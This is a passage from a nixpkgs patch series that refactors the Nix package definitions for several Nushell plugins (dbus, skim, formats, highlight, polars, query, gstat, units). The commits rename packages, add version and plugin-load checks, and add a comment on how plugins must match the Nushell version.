   pname = "nu_plugin_dbus";
   version = "0.14.0";
 
   src = fetchFromGitHub {
     owner = "devyn";
-    repo = pname;
-    rev = version;
+    repo = "nu_plugin_dbus";
+    tag = finalAttrs.version;
     hash = "sha256-Ga+1zFwS/v+3iKVEz7TFmJjyBW/gq6leHeyH2vjawto=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7pD5LA1ytO7VqFnHwgf7vW9eS3olnZBgdsj+rmcHkbU=";
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
@@ -35,19 +34,19 @@ rustPlatform.buildRustPackage rec {
         nu = lib.getExe nushell;
         plugin = lib.getExe nushell_plugin_dbus;
       in
-      runCommand "${pname}-test" { } ''
+      runCommand "${finalAttrs.pname}-test" { } ''
         touch $out
         ${nu} -n -c "plugin add --plugin-config $out ${plugin}"
         ${nu} -n -c "plugin use --plugin-config $out dbus"
       '';
   };
 
-  meta = with lib; {
+  meta = {
     description = "Nushell plugin for communicating with D-Bus";
     mainProgram = "nu_plugin_dbus";
     homepage = "https://github.com/devyn/nu_plugin_dbus";
-    license = licenses.mit;
-    maintainers = with maintainers; [ aftix ];
-    platforms = with platforms; linux;
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ aftix ];
+    platforms = lib.platforms.linux;
   };
-}
+})

From b9e46af9e746ca496faaf1259f650b6565f1fac0 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 00:28:21 +0200
Subject: [PATCH 2209/4511] nushellPlugins.skim: refactor

(cherry picked from commit d22a7867e0843d56db7b58f1adc46256ab15244e)
---
 pkgs/shells/nushell/plugins/skim.nix | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/skim.nix b/pkgs/shells/nushell/plugins/skim.nix
index bdc459aec076..e66c78353274 100644
--- a/pkgs/shells/nushell/plugins/skim.nix
+++ b/pkgs/shells/nushell/plugins/skim.nix
@@ -9,21 +9,20 @@
   skim,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nu_plugin_skim";
   version = "0.14.0";
 
   src = fetchFromGitHub {
     owner = "idanarye";
-    repo = pname;
-    tag = "v${version}";
+    repo = "nu_plugin_skim";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-bH+llby34lqnxZXdtTEBPiw50tvvY72h+YkRRdiXXTc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VTnaEqIuvTalemVhc/GJnTCQh1DCWQrtoo7oGJBZMXs=";
 
-  nativeBuildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
+  nativeBuildInputs = lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
 
   passthru = {
     updateScript = nix-update-script { };
@@ -32,19 +31,18 @@ rustPlatform.buildRustPackage rec {
         nu = lib.getExe nushell;
         plugin = lib.getExe skim;
       in
-      runCommand "${pname}-test" { } ''
+      runCommand "${finalAttrs.pname}-test" { } ''
         touch $out
         ${nu} -n -c "plugin add --plugin-config $out ${plugin}"
         ${nu} -n -c "plugin use --plugin-config $out skim"
       '';
   };
 
-  meta = with lib; {
+  meta = {
     description = "A nushell plugin that adds integrates the skim fuzzy finder";
     mainProgram = "nu_plugin_skim";
     homepage = "https://github.com/idanarye/nu_plugin_skim";
-    license = licenses.mit;
-    maintainers = with maintainers; [ aftix ];
-    platforms = platforms.all;
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ aftix ];
   };
-}
+})

From c2fcc21741d015cfb113aec9505bb44b6eb81175 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 00:36:35 +0200
Subject: [PATCH 2210/4511] nushellPlugins.formats: refactor

(cherry picked from commit 7095018016f35d90c1bc65c2829bb36d0aec76c6)
---
 pkgs/shells/nushell/plugins/formats.nix | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/formats.nix b/pkgs/shells/nushell/plugins/formats.nix
index 5a9b2cc03e0d..82a056b96073 100644
--- a/pkgs/shells/nushell/plugins/formats.nix
+++ b/pkgs/shells/nushell/plugins/formats.nix
@@ -7,32 +7,27 @@
   nix-update-script,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_formats";
   inherit (nushell) version src cargoHash;
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
-  cargoBuildFlags = [ "--package nu_plugin_formats" ];
 
-  checkPhase = ''
-    cargo test --manifest-path crates/nu_plugin_formats/Cargo.toml
-  '';
+  buildAndTestSubdir = "crates/nu_plugin_formats";
 
   passthru.updateScript = nix-update-script {
     # Skip the version check and only check the hash because we inherit version from nushell.
     extraArgs = [ "--version=skip" ];
   };
 
-  meta = with lib; {
+  meta = {
     description = "Formats plugin for Nushell";
     mainProgram = "nu_plugin_formats";
-    homepage = "https://github.com/nushell/nushell/tree/${version}/crates/nu_plugin_formats";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    homepage = "https://github.com/nushell/nushell/tree/${finalAttrs.version}/crates/nu_plugin_formats";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       viraptor
       aidalgol
     ];
-    platforms = with platforms; all;
   };
-}
+})

From 8b531b8118e898b00232d5eb99e60c10de9d2a64 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 00:50:39 +0200
Subject: [PATCH 2211/4511] nushellPlugins.highlight: refactor

(cherry picked from commit 17144a68f2e126598883c1aa0346be7e2805e3a9)
---
 pkgs/shells/nushell/plugins/highlight.nix | 21 +++++++--------------
 1 file changed, 7 insertions(+), 14 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/highlight.nix b/pkgs/shells/nushell/plugins/highlight.nix
index 12bb9e212f18..c7cdbaa6f294 100644
--- a/pkgs/shells/nushell/plugins/highlight.nix
+++ b/pkgs/shells/nushell/plugins/highlight.nix
@@ -7,36 +7,29 @@
   fetchFromGitHub,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_highlight";
   version = "1.4.5+0.104.0";
 
   src = fetchFromGitHub {
-    repo = "nu-plugin-highlight";
     owner = "cptpiepmatz";
-    rev = "refs/tags/v${version}";
+    repo = "nu-plugin-highlight";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-B2CkdftlxczA6KHJsNmbPH7Grzq4MG7r6CRMvVTMkzQ=";
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3bLATtK9r4iVpxdbg5eCvzeGpIqWMl/GTDGCORuQfgY=";
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
-  cargoBuildFlags = [ "--package nu_plugin_highlight" ];
-
-  checkPhase = ''
-    cargo test
-  '';
 
   passthru.updateScript = nix-update-script { };
 
-  meta = with lib; {
+  meta = {
     description = "A nushell plugin for syntax highlighting.";
     mainProgram = "nu_plugin_highlight";
     homepage = "https://github.com/cptpiepmatz/nu-plugin-highlight";
-    license = licenses.mit;
-    maintainers = with maintainers; [ mgttlinger ];
-    platforms = with platforms; all;
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ mgttlinger ];
   };
-}
+})

From b1473cdbad6ded848c534a6d763312ad71beb07c Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:02:29 +0200
Subject: [PATCH 2212/4511] nushellPlugins.polars: refactor

(cherry picked from commit 4627382fe2363d99f5e8fbb77eae0fd80a089fe3)
---
 pkgs/shells/nushell/plugins/polars.nix | 26 +++++++++++---------------
 1 file changed, 11 insertions(+), 15 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/polars.nix b/pkgs/shells/nushell/plugins/polars.nix
index 1811f3520fe5..e51a89ddcf58 100644
--- a/pkgs/shells/nushell/plugins/polars.nix
+++ b/pkgs/shells/nushell/plugins/polars.nix
@@ -8,33 +8,29 @@
   nix-update-script,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_polars";
   inherit (nushell) version src cargoHash;
 
-  useFetchCargoVendor = true;
-
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
   buildInputs = [ openssl ];
-  cargoBuildFlags = [ "--package nu_plugin_polars" ];
 
-  checkPhase = ''
-    # test failed without enough columns
-    cargo test --manifest-path crates/nu_plugin_polars/Cargo.toml -- \
-      --skip=dataframe::command::core::to_repr::test::test_examples
-  '';
+  buildAndTestSubdir = "crates/nu_plugin_polars";
+
+  checkFlags = [
+    "--skip=dataframe::command::core::to_repr::test::test_examples"
+  ];
 
   passthru.updateScript = nix-update-script {
     # Skip the version check and only check the hash because we inherit version from nushell.
     extraArgs = [ "--version=skip" ];
   };
 
-  meta = with lib; {
+  meta = {
     description = "Nushell dataframe plugin commands based on polars";
     mainProgram = "nu_plugin_polars";
-    homepage = "https://github.com/nushell/nushell/tree/${version}/crates/nu_plugin_polars";
-    license = licenses.mit;
-    maintainers = with maintainers; [ joaquintrinanes ];
-    platforms = with platforms; all;
+    homepage = "https://github.com/nushell/nushell/tree/${finalAttrs.version}/crates/nu_plugin_polars";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ joaquintrinanes ];
   };
-}
+})

From d0acd215895c7b2efe957d76e73278e2b1adb199 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:10:10 +0200
Subject: [PATCH 2213/4511] nushellPlugins.query: refactor

(cherry picked from commit 2e5baee20b53d4bc6901e7a08b9bd070f255ae2c)
---
 pkgs/shells/nushell/plugins/query.nix | 13 ++++---------
 1 file changed, 4 insertions(+), 9 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/query.nix b/pkgs/shells/nushell/plugins/query.nix
index a24718377116..b99bf1ad8d3e 100644
--- a/pkgs/shells/nushell/plugins/query.nix
+++ b/pkgs/shells/nushell/plugins/query.nix
@@ -9,21 +9,17 @@
   curl,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_query";
   inherit (nushell) version src cargoHash;
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
   buildInputs = [
     openssl
     curl
   ];
-  cargoBuildFlags = [ "--package nu_plugin_query" ];
 
-  checkPhase = ''
-    cargo test --manifest-path crates/nu_plugin_query/Cargo.toml
-  '';
+  buildAndTestSubdir = "crates/nu_plugin_query";
 
   passthru.updateScript = nix-update-script {
     # Skip the version check and only check the hash because we inherit version from nushell.
@@ -33,12 +29,11 @@ rustPlatform.buildRustPackage rec {
   meta = {
     description = "Nushell plugin to query JSON, XML, and various web data";
     mainProgram = "nu_plugin_query";
-    homepage = "https://github.com/nushell/nushell/tree/${version}/crates/nu_plugin_query";
+    homepage = "https://github.com/nushell/nushell/tree/${finalAttrs.version}/crates/nu_plugin_query";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [
       happysalada
       aidalgol
     ];
-    platforms = lib.platforms.all;
   };
-}
+})

From ff799c27a1f5e29bbb5124ecc019eacddb2328cd Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:18:44 +0200
Subject: [PATCH 2214/4511] nushellPlugins.gstat: refactor

(cherry picked from commit aa9629d886bb7784a3193660420a66ff0844b9b3)
---
 pkgs/shells/nushell/plugins/gstat.nix | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/gstat.nix b/pkgs/shells/nushell/plugins/gstat.nix
index 885828e53cb0..dbcac7d064b7 100644
--- a/pkgs/shells/nushell/plugins/gstat.nix
+++ b/pkgs/shells/nushell/plugins/gstat.nix
@@ -8,33 +8,28 @@
   nix-update-script,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_gstat";
   inherit (nushell) version src cargoHash;
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
   buildInputs = [ openssl ];
-  cargoBuildFlags = [ "--package nu_plugin_gstat" ];
 
-  checkPhase = ''
-    cargo test --manifest-path crates/nu_plugin_gstat/Cargo.toml
-  '';
+  buildAndTestSubdir = "crates/nu_plugin_gstat";
 
   passthru.updateScript = nix-update-script {
     # Skip the version check and only check the hash because we inherit version from nushell.
     extraArgs = [ "--version=skip" ];
   };
 
-  meta = with lib; {
+  meta = {
     description = "Git status plugin for Nushell";
     mainProgram = "nu_plugin_gstat";
-    homepage = "https://github.com/nushell/nushell/tree/${version}/crates/nu_plugin_gstat";
-    license = licenses.mit;
-    maintainers = with maintainers; [
+    homepage = "https://github.com/nushell/nushell/tree/${finalAttrs.version}/crates/nu_plugin_gstat";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [
       mrkkrp
       aidalgol
     ];
-    platforms = with platforms; all;
   };
-}
+})

From 6fc0452bbb413777469912f5e0a7fc00f5d4e677 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:21:54 +0200
Subject: [PATCH 2215/4511] nushellPlugins.units: refactor

(cherry picked from commit f79eb5cfc954377e4f15288754bb135ce824b3c7)
---
 pkgs/shells/nushell/plugins/units.nix | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/units.nix b/pkgs/shells/nushell/plugins/units.nix
index 0ec44bbab3fa..2c575a1233b5 100644
--- a/pkgs/shells/nushell/plugins/units.nix
+++ b/pkgs/shells/nushell/plugins/units.nix
@@ -7,30 +7,28 @@
   fetchFromGitHub,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nushell_plugin_units";
   version = "0.1.6";
 
   src = fetchFromGitHub {
-    repo = "nu_plugin_units";
     owner = "JosephTLyons";
-    rev = "v${version}";
+    repo = "nu_plugin_units";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-1KyuUaWN+OiGpo8Ohc/8B+nisdb8uT+T3qBu+JbaVYo=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-LYVwFM8znN96LwOwRnauehrucSqHnKNPoMzl2HRczww=";
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
-  cargoBuildFlags = [ "--package nu_plugin_units" ];
 
   passthru.updateScript = nix-update-script { };
 
-  meta = with lib; {
-    description = "A nushell plugin for easily converting between common units.";
+  meta = {
+    description = "Nushell plugin for easily converting between common units";
     mainProgram = "nu_plugin_units";
     homepage = "https://github.com/JosephTLyons/nu_plugin_units";
-    license = licenses.mit;
-    maintainers = with maintainers; [ mgttlinger ];
-    platforms = with platforms; all;
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ mgttlinger ];
   };
-}
+})

From 5f10f4208c2b7da8bd89ea1a44b811b41cdddc87 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:46:19 +0200
Subject: [PATCH 2216/4511] nushellPlugins.*: set pnames correctly

Because otherwise:
- The names are inconsistent with the other nushell plugins
- `versionCheckHook` cannot find the binaries without setting a special
  variable

(cherry picked from commit bd065b68884efe1bed308af1bc43c6db06bfe420)
---
 pkgs/shells/nushell/plugins/formats.nix   | 2 +-
 pkgs/shells/nushell/plugins/gstat.nix     | 2 +-
 pkgs/shells/nushell/plugins/highlight.nix | 2 +-
 pkgs/shells/nushell/plugins/net.nix       | 2 +-
 pkgs/shells/nushell/plugins/polars.nix    | 2 +-
 pkgs/shells/nushell/plugins/query.nix     | 2 +-
 pkgs/shells/nushell/plugins/units.nix     | 2 +-
 7 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/formats.nix b/pkgs/shells/nushell/plugins/formats.nix
index 82a056b96073..77debd7f7107 100644
--- a/pkgs/shells/nushell/plugins/formats.nix
+++ b/pkgs/shells/nushell/plugins/formats.nix
@@ -8,7 +8,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_formats";
+  pname = "nu_plugin_formats";
   inherit (nushell) version src cargoHash;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
diff --git a/pkgs/shells/nushell/plugins/gstat.nix b/pkgs/shells/nushell/plugins/gstat.nix
index dbcac7d064b7..c39993e6c9d4 100644
--- a/pkgs/shells/nushell/plugins/gstat.nix
+++ b/pkgs/shells/nushell/plugins/gstat.nix
@@ -9,7 +9,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_gstat";
+  pname = "nu_plugin_gstat";
   inherit (nushell) version src cargoHash;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
diff --git a/pkgs/shells/nushell/plugins/highlight.nix b/pkgs/shells/nushell/plugins/highlight.nix
index c7cdbaa6f294..bb529570f7ce 100644
--- a/pkgs/shells/nushell/plugins/highlight.nix
+++ b/pkgs/shells/nushell/plugins/highlight.nix
@@ -8,7 +8,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_highlight";
+  pname = "nu_plugin_highlight";
   version = "1.4.5+0.104.0";
 
   src = fetchFromGitHub {
diff --git a/pkgs/shells/nushell/plugins/net.nix b/pkgs/shells/nushell/plugins/net.nix
index 986dd9101f20..9eb9613cc854 100644
--- a/pkgs/shells/nushell/plugins/net.nix
+++ b/pkgs/shells/nushell/plugins/net.nix
@@ -6,7 +6,7 @@
 }:
 
 rustPlatform.buildRustPackage rec {
-  pname = "nushell_plugin_net";
+  pname = "nu_plugin_net";
   version = "1.10.0";
 
   src = fetchFromGitHub {
diff --git a/pkgs/shells/nushell/plugins/polars.nix b/pkgs/shells/nushell/plugins/polars.nix
index e51a89ddcf58..bfd1aeba1821 100644
--- a/pkgs/shells/nushell/plugins/polars.nix
+++ b/pkgs/shells/nushell/plugins/polars.nix
@@ -9,7 +9,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_polars";
+  pname = "nu_plugin_polars";
   inherit (nushell) version src cargoHash;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
diff --git a/pkgs/shells/nushell/plugins/query.nix b/pkgs/shells/nushell/plugins/query.nix
index b99bf1ad8d3e..b840959fc93d 100644
--- a/pkgs/shells/nushell/plugins/query.nix
+++ b/pkgs/shells/nushell/plugins/query.nix
@@ -10,7 +10,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_query";
+  pname = "nu_plugin_query";
   inherit (nushell) version src cargoHash;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
diff --git a/pkgs/shells/nushell/plugins/units.nix b/pkgs/shells/nushell/plugins/units.nix
index 2c575a1233b5..fdcd47ab5fdd 100644
--- a/pkgs/shells/nushell/plugins/units.nix
+++ b/pkgs/shells/nushell/plugins/units.nix
@@ -8,7 +8,7 @@
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
-  pname = "nushell_plugin_units";
+  pname = "nu_plugin_units";
   version = "0.1.6";
 
   src = fetchFromGitHub {

From 32675f47f4eab57869640856b35b6fd2fd3915a0 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 01:31:24 +0200
Subject: [PATCH 2217/4511] nushellPlugins.*: add `versionCheckHook`

Why for each all at the same time? Because all nushell plugins should
respond in the same way with either no arguments passed or with
`--help`, which contains their version.

Also because when new plugins get added or plugins get updated, problems
can be easily spotted because the errors are really loud.

(cherry picked from commit 8541ae6c6a08b21b2882452ccaaea490e8ac30b5)
---
 pkgs/shells/nushell/plugins/default.nix | 50 +++++++++++++++----------
 1 file changed, 31 insertions(+), 19 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/default.nix b/pkgs/shells/nushell/plugins/default.nix
index 1305cd7183f4..f73b2d43b7d2 100644
--- a/pkgs/shells/nushell/plugins/default.nix
+++ b/pkgs/shells/nushell/plugins/default.nix
@@ -3,27 +3,39 @@
   config,
   newScope,
   dbus,
+  versionCheckHook,
 }:
 
 lib.makeScope newScope (
   self:
-  with self;
-  {
-    gstat = callPackage ./gstat.nix { };
-    formats = callPackage ./formats.nix { };
-    polars = callPackage ./polars.nix { };
-    query = callPackage ./query.nix { };
-    net = callPackage ./net.nix { };
-    units = callPackage ./units.nix { };
-    highlight = callPackage ./highlight.nix { };
-    dbus = callPackage ./dbus.nix {
-      inherit dbus;
-      nushell_plugin_dbus = self.dbus;
-    };
-    skim = callPackage ./skim.nix { };
-    semver = callPackage ./semver.nix { };
-  }
-  // lib.optionalAttrs config.allowAliases {
-    regex = throw "`nu_plugin_regex` is no longer compatible with the current Nushell release.";
-  }
+
+  lib.mapAttrs
+    (
+      _n: p:
+      p.overrideAttrs {
+        doInstallCheck = true;
+        nativeInstallCheckInputs = [ versionCheckHook ];
+      }
+    )
+    (
+      with self;
+      {
+        gstat = callPackage ./gstat.nix { };
+        formats = callPackage ./formats.nix { };
+        polars = callPackage ./polars.nix { };
+        query = callPackage ./query.nix { };
+        net = callPackage ./net.nix { };
+        units = callPackage ./units.nix { };
+        highlight = callPackage ./highlight.nix { };
+        dbus = callPackage ./dbus.nix {
+          inherit dbus;
+          nushell_plugin_dbus = self.dbus;
+        };
+        skim = callPackage ./skim.nix { };
+        semver = callPackage ./semver.nix { };
+      }
+      // lib.optionalAttrs config.allowAliases {
+        regex = throw "`nu_plugin_regex` is no longer compatible with the current Nushell release.";
+      }
+    )
 )

From 4ccaab8ae5b0612697d2c038fc3fb29762467759 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 03:04:36 +0200
Subject: [PATCH 2218/4511] nushellPlugins.*: `doCheck = false;` where
 applicable

(cherry picked from commit 94b1ae52c486c1e45a41123c48929f02a4156d8a)
---
 pkgs/shells/nushell/plugins/highlight.nix | 3 +++
 pkgs/shells/nushell/plugins/net.nix       | 3 +++
 2 files changed, 6 insertions(+)

diff --git a/pkgs/shells/nushell/plugins/highlight.nix b/pkgs/shells/nushell/plugins/highlight.nix
index bb529570f7ce..99a25c1bd993 100644
--- a/pkgs/shells/nushell/plugins/highlight.nix
+++ b/pkgs/shells/nushell/plugins/highlight.nix
@@ -23,6 +23,9 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
 
+  # there are no tests
+  doCheck = false;
+
   passthru.updateScript = nix-update-script { };
 
   meta = {
diff --git a/pkgs/shells/nushell/plugins/net.nix b/pkgs/shells/nushell/plugins/net.nix
index 9eb9613cc854..17994aaaa15d 100644
--- a/pkgs/shells/nushell/plugins/net.nix
+++ b/pkgs/shells/nushell/plugins/net.nix
@@ -21,6 +21,9 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
 
+  # there are no tests
+  doCheck = false;
+
   passthru.updateScript = nix-update-script { };
 
   meta = with lib; {

From 1839cd60882242d3ac530e57077b2ffe20c12e13 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 14:54:39 +0200
Subject: [PATCH 2219/4511] nushellPlugins.*: add load check to all

(cherry picked from commit 4e681f2a04ae1c99dc71a7122d1790bb4c9f0cab)
---
 pkgs/shells/nushell/plugins/dbus.nix    | 17 +------------
 pkgs/shells/nushell/plugins/default.nix | 34 +++++++++++++++++++++----
 pkgs/shells/nushell/plugins/skim.nix    | 17 +------------
 3 files changed, 31 insertions(+), 37 deletions(-)

diff --git a/pkgs/shells/nushell/plugins/dbus.nix b/pkgs/shells/nushell/plugins/dbus.nix
index 8e7e33ca47f0..8b37fad33a8e 100644
--- a/pkgs/shells/nushell/plugins/dbus.nix
+++ b/pkgs/shells/nushell/plugins/dbus.nix
@@ -1,14 +1,11 @@
 {
   stdenv,
-  runCommand,
   lib,
   rustPlatform,
   pkg-config,
   nix-update-script,
   fetchFromGitHub,
   dbus,
-  nushell,
-  nushell_plugin_dbus,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -27,19 +24,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
   buildInputs = [ dbus ];
 
-  passthru = {
-    updateScript = nix-update-script { };
-    tests.check =
-      let
-        nu = lib.getExe nushell;
-        plugin = lib.getExe nushell_plugin_dbus;
-      in
-      runCommand "${finalAttrs.pname}-test" { } ''
-        touch $out
-        ${nu} -n -c "plugin add --plugin-config $out ${plugin}"
-        ${nu} -n -c "plugin use --plugin-config $out dbus"
-      '';
-  };
+  passthru.updateScript = nix-update-script { };
 
   meta = {
     description = "Nushell plugin for communicating with D-Bus";
diff --git a/pkgs/shells/nushell/plugins/default.nix b/pkgs/shells/nushell/plugins/default.nix
index f73b2d43b7d2..e629cb044802 100644
--- a/pkgs/shells/nushell/plugins/default.nix
+++ b/pkgs/shells/nushell/plugins/default.nix
@@ -4,6 +4,8 @@
   newScope,
   dbus,
   versionCheckHook,
+  nushell,
+  runCommand,
 }:
 
 lib.makeScope newScope (
@@ -12,10 +14,33 @@ lib.makeScope newScope (
   lib.mapAttrs
     (
       _n: p:
-      p.overrideAttrs {
-        doInstallCheck = true;
-        nativeInstallCheckInputs = [ versionCheckHook ];
-      }
+      let
+        # add two checks:
+        # - `versionCheckhook`, checks wether it's a binary that is able to
+        #   display its own version
+        # - A check which loads the plugin into the current version of nushell,
+        #   to detect incompatibilities (plugins are compiled for very specific
+        #   versions of nushell). If this fails, either update the plugin or mark
+        #   as broken.
+        withChecks = p.overrideAttrs (
+          final: _prev: {
+            doInstallCheck = true;
+            nativeInstallCheckInputs = [ versionCheckHook ];
+
+            passthru.tests.loadCheck =
+              let
+                nu = lib.getExe nushell;
+                plugin = lib.getExe withChecks;
+              in
+              runCommand "test-load-${final.pname}" { } ''
+                touch $out
+                ${nu} -n -c "plugin add --plugin-config $out ${plugin}"
+                ${nu} -n -c "plugin use --plugin-config $out ${plugin}"
+              '';
+          }
+        );
+      in
+      withChecks
     )
     (
       with self;
@@ -29,7 +54,6 @@ lib.makeScope newScope (
         highlight = callPackage ./highlight.nix { };
         dbus = callPackage ./dbus.nix {
           inherit dbus;
-          nushell_plugin_dbus = self.dbus;
         };
         skim = callPackage ./skim.nix { };
         semver = callPackage ./semver.nix { };
diff --git a/pkgs/shells/nushell/plugins/skim.nix b/pkgs/shells/nushell/plugins/skim.nix
index e66c78353274..4ec3b423028b 100644
--- a/pkgs/shells/nushell/plugins/skim.nix
+++ b/pkgs/shells/nushell/plugins/skim.nix
@@ -1,12 +1,9 @@
 {
   stdenv,
-  runCommand,
   lib,
   rustPlatform,
   nix-update-script,
   fetchFromGitHub,
-  nushell,
-  skim,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -24,19 +21,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   nativeBuildInputs = lib.optionals stdenv.cc.isClang [ rustPlatform.bindgenHook ];
 
-  passthru = {
-    updateScript = nix-update-script { };
-    tests.check =
-      let
-        nu = lib.getExe nushell;
-        plugin = lib.getExe skim;
-      in
-      runCommand "${finalAttrs.pname}-test" { } ''
-        touch $out
-        ${nu} -n -c "plugin add --plugin-config $out ${plugin}"
-        ${nu} -n -c "plugin use --plugin-config $out skim"
-      '';
-  };
+  passthru.updateScript = nix-update-script { };
 
   meta = {
     description = "A nushell plugin that adds integrates the skim fuzzy finder";

From 8aae88f5984848f6ecfa210d80c308d828ba23ab Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Sat, 28 Jun 2025 23:19:01 +0200
Subject: [PATCH 2220/4511] nushell: comment on plugin compatibility

(cherry picked from commit 37467643f3a6dd3ae2c8e5786285b411df96c4a0)
---
 pkgs/shells/nushell/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix
index c51f06110e9d..6948701abc3a 100644
--- a/pkgs/shells/nushell/default.nix
+++ b/pkgs/shells/nushell/default.nix
@@ -20,6 +20,9 @@
 }:
 
 let
+  # NOTE: when updating this to a new non-patch version, please also try to
+  # update the plugins. Plugins only work if they are compiled for the same
+  # major/minor version.
   version = "0.104.0";
 in
 

